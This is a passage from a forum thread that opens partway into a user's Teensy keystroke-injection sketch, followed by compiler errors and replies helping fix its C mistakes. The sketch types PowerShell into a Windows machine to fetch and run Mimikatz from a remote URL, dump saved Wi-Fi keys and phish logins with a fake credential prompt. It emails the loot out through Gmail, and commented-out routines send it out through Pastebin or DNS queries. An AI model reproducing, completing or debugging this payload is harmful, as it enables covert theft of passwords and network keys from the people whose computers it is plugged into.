  reset_windows_desktop(2000);
  }
}

void exec_command(void){
  Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  delay(500);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

void open_notepad(void) {
  exec_command();
  Keyboard.println("notepad.exe");
}

void hide_window(void) {
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_M);
  Keyboard.send_now();

  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  Keyboard.set_key1(KEY_DOWN);
  Keyboard.send_now();
  
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

//Gatherfuncs
/*
  void get_credential_lazagne_gmail(void){
    Keyboard.println("cd %TMP%");
    Keyboard.println("For /F \"tokens=1\" %a in ('wmic OS get OSArchitecture ^| find \"bits\"') do (set OS=%a)");
    Keyboard.println("  if %OS%==x64 (set link=\"" + x64 + "\") else (set link=\"" + x32 + "\")")
  }
*/
  void get_credentials_mimikatz_gmail(void){
    get_cmd_admin();
    Keyboard.println("echo $pn = $env:COMPUTERNAME + \"  Passwords in plain-text\" > %temp%\\dlp.ps1");
    Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\dlp.ps1",GMAILACCOUNTNAME));
    Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\dlp.ps1",GMAILACCOUNTPASS));
    Keyboard.println("echo $dev = \"INPUT3\" >> %temp%\\dlp.ps1");
    Keyboard.println("echo iex ((New-Object Net.WebClient).DownloadString(\"http://swiftb0y.github.io/Invoke-MimiDogz.ps1\")); >> %temp%\\dlp.ps1");
    Keyboard.println("echo $pv = iex Invoke-Mimikatz >> %temp%\\dlp.ps1");
    delay(2000);
    
    String fn = "dlp";
    String fp;
    
    Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\dlp.vbs");
    Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\dlp.ps1\"),0,true >> %temp%\\dlp.vbs");
    delay(1000);
    Keyboard.println("wscript %temp%\\dlp.vbs");
    delay(3000);
  
    Keyboard.println("exit");


  }
  void get_wlan_credentials_gmail(void){
    get_cmd_admin();
    Keyboard.println("echo $pn = $env:COMPUTERNAME + \"  WLAN-Keys\" > %temp%\\wl.ps1");
    Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\wl.ps1",GMAILACCOUNTNAME));
    Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\wl.ps1",GMAILACCOUNTPASS));
    Keyboard.println("echo $dev = \"INPUT3\" >> %temp%\\wl.ps1");
    Keyboard.println("echo $w = netsh wlan show profiles ^| Select-String -Pattern \"All User Profile\" ^| foreach {$_.ToString()} >> %temp%\\wl.ps1");
    Keyboard.println("echo $ed = $w ^| foreach {$_.Replace(\"    All User Profile     : \",$null)} >> %temp%\\wl.ps1");
    Keyboard.println("echo $pv = $ed ^| foreach {netsh wlan show profiles name=\"$_\" key=clear} >> %temp%\\wl.ps1");
    
  
    String fn = "wl";
    String fp;
  
    if (fp != "")
    {
        gmail(fn,fp);
    }
    else
    {
        gmail(fn,"no");
    }
  
    Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\wl.vbs");
    Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\wl.ps1\"),0,true >> %temp%\\wl.vbs");
    delay(1000);
    Keyboard.println("wscript %temp%\\wl.vbs");
    delay(1000);
    Keyboard.println("exit");
  
  }
  
  void get_credentials_gmail_SE_vector(void){
    get_cmd_admin();
    Keyboard.println("echo $ErrorActionPreference=\"SilentlyContinue\" > %temp%\\cr.ps1");
    Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\cr.ps1",GMAILACCOUNTNAME));
    Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\cr.ps1",GMAILACCOUNTPASS));
    Keyboard.println("echo $dev = \"INPUT3\" >> %temp%\\cr.ps1");
    Keyboard.println("echo $pn = $env:COMPUTERNAME + \"  Credentials\" >> %temp%\\cr.ps1");
    Keyboard.println("echo Add-Type -assemblyname system.DirectoryServices.accountmanagement  >> %temp%\\cr.ps1");
    Keyboard.println("echo $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) >> %temp%\\cr.ps1");
    Keyboard.println("echo $dn = \"LDAP://\" + ([ADSI]\"\").distinguishedName >> %temp%\\cr.ps1");
    Keyboard.println("echo while(1){ >> %temp%\\cr.ps1");
    Keyboard.println("echo $cr = $host.ui.PromptForCredential(\"Need credentials\", \"Please enter your user name and password.\", \"\", \"\") >> %temp%\\cr.ps1");
    Keyboard.println("echo if($cr){ >> %temp%\\cr.ps1");
    Keyboard.println("echo $creds = $cr.GetNetworkCredential() >> %temp%\\cr.ps1");
    Keyboard.println("echo [String]$u = $creds.username >> %temp%\\cr.ps1");
    Keyboard.println("echo [String]$p = $creds.password >> %temp%\\cr.ps1");
    Keyboard.println("echo [String]$domain = $creds.domain >> %temp%\\cr.ps1");
    Keyboard.println("echo $al = $DS.ValidateCredentials($u, $p) >> %temp%\\cr.ps1");
    Keyboard.println("echo $ad = New-Object System.DirectoryServices.DirectoryEntry($dn,$u,$p) >> %temp%\\cr.ps1");
    Keyboard.println("echo if(($al -eq $true) -or ($ad.name -ne $null)){ >> %temp%\\cr.ps1");
    Keyboard.println("echo $pv = \"Username: \" + $u + \" Password: \" + $p + \" Domain:\" + $domain >> %temp%\\cr.ps1");
    Keyboard.println("echo break}}} >> %temp%\\cr.ps1");
    String fn = "cr";
    String fp;
    if (fp != "")
    {
        gmail(fn,fp);
    }
    else
    {
        gmail(fn,"no");
    }
  }
  
  
  


//Kautilya default funcs
void wait_for_drivers(int sleep)
{
  bool CapsLockTrap = is_caps_on();
  while(CapsLockTrap == is_caps_on())
  {
  Keyboard.set_key1(KEY_CAPS_LOCK);
  Keyboard.send_now();
  delay(50);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(80);
  delay(sleep);
  }
  Keyboard.set_key1(KEY_CAPS_LOCK);
  Keyboard.send_now();
  delay(200);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(500);
  delay(sleep);
}


bool cmd_admin(int reps, int millisecs)
{
  make_sure_capslock_is_off();
  delay(700);
  Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  delay(3000);
  Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");
  delay(2000);
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.send_now();
  Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  delay(200);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(500);
  delay(7000);
  send_left_enter();
  delay(4000);
  create_click_capslock_win();
  check_for_capslock_success_teensy(reps,millisecs);
}

bool cmd(int reps, int millisecs, char *SomeCommand)
{
  make_sure_capslock_is_off();
  delay(700);
  Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  
  delay(500);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  
  Keyboard.print(SomeCommand);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  
  Keyboard.set_key1(0);
  Keyboard.send_now();
  
  delay(3000);
  create_click_capslock_win();
  check_for_capslock_success_teensy(reps,millisecs);
}

void make_sure_capslock_is_off(void)
{
  if (is_caps_on())
  {
    delay(500);
    Keyboard.set_key1(KEY_CAPS_LOCK);
    Keyboard.send_now();
    delay(200);
    delay(700);
    Keyboard.set_modifier(0);
    Keyboard.set_key1(0);
    Keyboard.send_now();
    delay(500);
    delay(700);
  }
}

void create_click_capslock_win()
{
  Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{CAPSLOCK}\" > %temp%\\capslock.vbs");
  delay(400);
  Keyboard.println("wscript %temp%\\capslock.vbs");
  delay(2000);
  }

bool check_for_capslock_success_teensy(int reps, int millisecs)
{
  unsigned int i = 0;
  do
  {
    delay(millisecs);
    if (is_caps_on())
    {
      make_sure_capslock_is_off();
      delay(700);
      return true;
    }
    i++;
  }
  while (!is_caps_on() && (i<reps));
  return false;
}

void minimise_windows(void)
{
  Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
  Keyboard.set_key1(KEY_M);
  Keyboard.send_now();
  delay(300);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(500);
  delay(300);
}

void reset_windows_desktop(int sleep)
{
  delay(1000);
  minimise_windows();
  delay(sleep);
  minimise_windows();
  delay(sleep);
  minimise_windows();
  delay(200);
}

void send_left_enter(){
  delay(1000);
  Keyboard.set_key1(KEY_LEFT);
  Keyboard.send_now();
  delay(100);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  delay(100);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  }

/*
void post(String filename)
{
    Keyboard.print("echo function pht($url,$pars) { >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $ht = New-Object -ComObject Msxml2.XMLHTTP >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $ht.open(\"POST\", $url, $false) >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $ht.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\") >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $ht.setRequestHeader(\"Content-length\", $pars.length); >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $ht.setRequestHeader(\"Connection\", \"close\") >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $ht.send($pars) >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $script:sk=$ht.responseText }>> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
}
*/
void compress_encode(String filename)
{
 Keyboard.print("echo $ms = New-Object IO.MemoryStream >> %temp%\\");
 Keyboard.print(filename);
 Keyboard.println(".ps1");
 Keyboard.print("echo $ac = [IO.Compression.CompressionMode]::Compress >> %temp%\\");
 Keyboard.print(filename);
 Keyboard.println(".ps1");
 Keyboard.print("echo $cs = New-Object IO.Compression.DeflateStream ($ms,$ac) >> %temp%\\");
 Keyboard.print(filename);
 Keyboard.println(".ps1");
 Keyboard.print("echo $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII) >> %temp%\\");
 Keyboard.print(filename);
 Keyboard.println(".ps1");
 Keyboard.print("echo $pv ^| ForEach-Object {$sw.WriteLine($_)} >> %temp%\\");
 Keyboard.print(filename);
 Keyboard.println(".ps1");
 Keyboard.print("echo $sw.Close() >> %temp%\\");
 Keyboard.print(filename);
 Keyboard.println(".ps1");
 Keyboard.print("echo $code = [Convert]::ToBase64String($ms.ToArray()) >> %temp%\\");
 Keyboard.print(filename);
 Keyboard.println(".ps1");
}
/*
void pastebin(String filename)
{
    post(filename);
    Keyboard.print("echo pht \"https://pastebin.com/api/api_login.php\" \"api_dev_key=$dev&api_user_name=$user&api_user_password=$pass\" >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo pht \"https://pastebin.com/api/api_post.php\" \"api_user_key=$sk&api_option=paste&api_dev_key=$dev&api_paste_name=$pn&api_paste_code=$pv&api_paste_private=2\" >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
}
*/
void gmail(String filename, String filepath)
{
    Keyboard.print("echo $srv = \"smtp.gmail.com\" >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $msg = new-object Net.Mail.MailMessage >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $st = new-object Net.Mail.SmtpClient($srv) >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $st.EnableSsl = $True >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $st.Credentials = New-Object System.Net.NetworkCredential(\"$user\", \"$pass\"); >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $msg.From = \"$user@gmail.com\" >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $msg.To.Add(\"$user@gmail.com\") >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $msg.Subject = $pn >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $msg.Body = $pv >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    if (filepath != "no"){

        Keyboard.print("echo $att = new-object Net.Mail.Attachment(\"");
        Keyboard.print (filepath);
        Keyboard.print ("\") >> %temp%\\");
        Keyboard.print(filename);
        Keyboard.println(".ps1");
        Keyboard.print("echo $msg.Attachments.Add($att) >> %temp%\\");
        Keyboard.print(filename);
        Keyboard.println(".ps1");
    }
    Keyboard.print("echo $st.Send($msg) >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
}
/*
void hpost (String filename)
{
    compress_encode(filename);
    post(filename);
    Keyboard.print("echo pht $user $code >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
}

void dns (String filename)
{
    compress_encode(filename);
    Keyboard.print("echo $lstr = 0 >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $qrs = [int]($code.Length/63) >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo while ($qrs -ne 0){ >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $qs = $code.Substring($lstr,63) >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo Invoke-Expression \"nslookup -querytype=txt $qs.$user $pass\" >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $lstr += 63 >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $qrs -= 1 } >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $mod = $code.Length%63 >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo $qr = $code.Substring($code.Length - $mod, $mod) >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
    Keyboard.print("echo Invoke-Expression \"nslookup -querytype=txt $qr.$user $pass\" >> %temp%\\");
    Keyboard.print(filename);
    Keyboard.println(".ps1");
}
*/

and the log:
Code:
Arduino: 1.8.0 (Linux), TD: 1.34, Board: "Teensy 3.6, Serial + Keyboard + Mouse + Joystick, 180 MHz, Fast, German"

Gather:102: error: 'dip_struct' does not name a type
 dip_struct dips_to_option(void){
 ^
Gather:146: error: variable or field 'fire_func' declared void
 void fire_func(dip_struct *result){
                ^
Gather:146: error: 'dip_struct' was not declared in this scope
Gather:146: error: 'result' was not declared in this scope
 void fire_func(dip_struct *result){
                            ^
In file included from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/wiring.h:33:0,
                 from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/WProgram.h:15,
                 from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/Arduino.h:1,
                 from /tmp/arduino_build_219352/sketch/Gather.ino.cpp:1:
Gather: In function 'void setup()':
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:37:15: error: invalid type argument of unary '*' (have 'int')
 #define HIGH  1
               ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:135:17: note: in expansion of macro 'HIGH'
   setStatusLed(*HIGH);
                 ^
Gather: In function 'void fire_func(dip_struct*)':
Gather:160: error: expected ';' before ')' token
                 Keyboard.println("Troll menu:"));
                                                ^
Gather:189: warning: deprecated conversion from string constant to 'char*' 
               open_url("https://www.youtube.com/watch?v=DLzxrzFCyOs");
                                                                     ^
Gather: In function 'void setStatusLed(int*)':
Gather:257: error: 'LeadStatus' was not declared in this scope
     digitalWriteFast(13, *LeadStatus);
                           ^
In file included from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/wiring.h:33:0,
                 from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/WProgram.h:15,
                 from /home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/Arduino.h:1,
                 from /tmp/arduino_build_219352/sketch/Gather.ino.cpp:1:
Gather: In function 'void loop()':
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:38:14: error: invalid type argument of unary '*' (have 'int')
 #define LOW  0
              ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:262:17: note: in expansion of macro 'LOW'
   setStatusLed(*LOW);
                 ^
/home/pi/Downloads/arduino-1.8.0/hardware/teensy/avr/cores/teensy3/core_pins.h:37:15: error: invalid type argument of unary '*' (have 'int')
 #define HIGH  1
               ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:269:17: note: in expansion of macro 'HIGH'
   setStatusLed(*HIGH);
                 ^
Gather:270: error: no match for 'operator*' (operand type is 'dip_struct')
   fire_func(*dips_to_option());
             ^
Gather: In function 'void exec_command()':
Gather:373: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_R);
                          ^
Gather: In function 'void hide_window()':
Gather:388: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_M);
                          ^
Gather:395: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_DOWN);
                             ^
Gather: In function 'void get_credentials_mimikatz_gmail()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\dlp.ps1",GMAILACCOUNTNAME));
                                                                                      ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:413:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\dlp.ps1",GMAILACCOUNTPASS));
                                                                                      ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:414:86: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void get_wlan_credentials_gmail()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\wl.ps1",GMAILACCOUNTNAME));
                                                                                     ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:436:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\wl.ps1",GMAILACCOUNTPASS));
                                                                                     ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:437:85: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void get_credentials_gmail_SE_vector()':
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $user = \"%s\" >> %temp%\\cr.ps1",GMAILACCOUNTNAME));
                                                                                     ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:468:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
     Keyboard.println(printf("echo $pass = \"%s\" >> %temp%\\cr.ps1",GMAILACCOUNTPASS));
                                                                                     ^
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: unknown conversion type character '\' in format [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: use of 't' length modifier with 'e' type character [-Wformat=]
/home/pi/Desktop/HIDPayloads/Custom/Gather/Gather.ino:469:85: warning: unknown conversion type character '\' in format [-Wformat=]
Gather: In function 'void wait_for_drivers(int)':
Gather:509: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_CAPS_LOCK);
                                  ^
Gather:518: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_CAPS_LOCK);
                                  ^
Gather: In function 'bool cmd_admin(int, int)':
Gather:544: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_ENTER);
                              ^
Gather:556: warning: no return statement in function returning non-void 
 }
 ^
Gather: In function 'bool cmd(int, int, char*)':
Gather:563: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_R);
                          ^
Gather:572: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_ENTER);
                              ^
Gather:581: warning: no return statement in function returning non-void 
 }
 ^
Gather: In function 'void make_sure_capslock_is_off()':
Gather:588: warning: large integer implicitly truncated to unsigned type 
     Keyboard.set_key1(KEY_CAPS_LOCK);
                                    ^
Gather: In function 'bool check_for_capslock_success_teensy(int, int)':
Gather:622: warning: comparison between signed and unsigned integer expressions 
   while (!is_caps_on() && (i<reps));
                              ^
Gather: In function 'void minimise_windows()':
Gather:629: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_M);
                          ^
Gather: In function 'void send_left_enter()':
Gather:652: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_LEFT);
                             ^
Gather:658: warning: large integer implicitly truncated to unsigned type 
   Keyboard.set_key1(KEY_ENTER);
                              ^
'dip_struct' does not name a type

This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.
 
Last edited:
First problem dip_struct is not a type
So line 102 should be: struct dip_struct dips_to_option(void){

Sometimes when I want something like this, I do instead:
Code:
typedef struct _dip_struct {
... 
} dip_struct;
You are also probably confusing the compiler with things like *HIGH and *LOW in the code.

Also when you are defining a struct, I am not sure you can init the struct in the manor you are doing. Are these supposed to be default values?

Also some obvious other source code problems like:
Keyboard.println("Troll menu:"));

You have too many )'s
 
First problem dip_struct is not a type
So line 102 should be: struct dip_struct dips_to_option(void){

Sometimes when I want something like this, I do instead:
Code:
typedef struct _dip_struct {
... 
} dip_struct;
You are also probably confusing the compiler with things like *HIGH and *LOW in the code.

Also when you are defining a struct, I am not sure you can init the struct in the manor you are doing. Are these supposed to be default values?

Also some obvious other source code problems like:
Keyboard.println("Troll menu:"));

You have too many )'s

Thank you so much for the reply.
I'm still pretty new to C, because my main language of choice is Python.
I can't find and references on how to correctly use pointers, when passing to a function. Maybe someone could help me with that. And the whole code in the print header function is auto generated by a (as I now know buggy) self-made script.
But what's the problem with *LOW and *HIGH? I'm assuming that's the wrong way of trying to read pointers.
 
Problem is that LOW and HIGH are not pointers, they are macros evaluating to integer values
 
Status
Not open for further replies.
Back
Top